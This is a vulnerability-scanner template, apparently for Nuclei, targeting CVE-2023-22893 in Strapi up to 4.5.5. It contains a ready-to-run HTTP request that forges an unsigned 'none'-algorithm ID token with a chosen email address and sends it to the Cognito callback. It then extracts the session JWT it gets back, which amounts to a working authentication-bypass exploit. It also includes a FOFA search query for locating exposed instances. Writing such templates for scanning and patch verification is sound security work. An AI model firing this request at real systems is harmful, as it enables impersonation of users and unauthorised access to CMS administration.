Strapi Versions <=4.5.6 - Authentication Bypass

id: CVE-2023-22893

info:
  name: Strapi Versions <=4.5.6 - Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Strapi through 4.5.5 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.
  impact: |
    Unauthenticated attackers can forge JWT tokens using the "None" algorithm to bypass AWS Cognito authentication and impersonate any Strapi user, gaining unauthorized access to CMS content and administrative functions.
  remediation: |
    Update Strapi to version 4.5.6 or later which properly verifies access and ID tokens issued during OAuth flow with AWS Cognito login provider.
  reference:
    - https://www.ghostccamm.com/blog/multi_strapi_vulns
    - https://github.com/strapi/strapi/releases
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22893
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-22893
    cwe-id: CWE-287
    epss-score: 0.04158
    epss-percentile: 0.89625
    cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: strapi
    product: strapi
    fofa-query: app="strapi-Headless-CMS"
  tags: cve,cve2023,strapi,authenticated,aws,cognito,vkev,vuln

variables:
  email: "{{email}}"
  payload: '{"cognito:username":"{{to_lower(rand_text_alpha(10))}}","email":"{{email}}"}'

http:
  - raw:
      - |
        GET /api/auth/cognito/callback?access_token={{to_lower(rand_text_alpha(8))}}&id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.{{base64(payload)}}. HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"provider":'
          - '"confirmed":'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        name: token
        json:
          - ".jwt"
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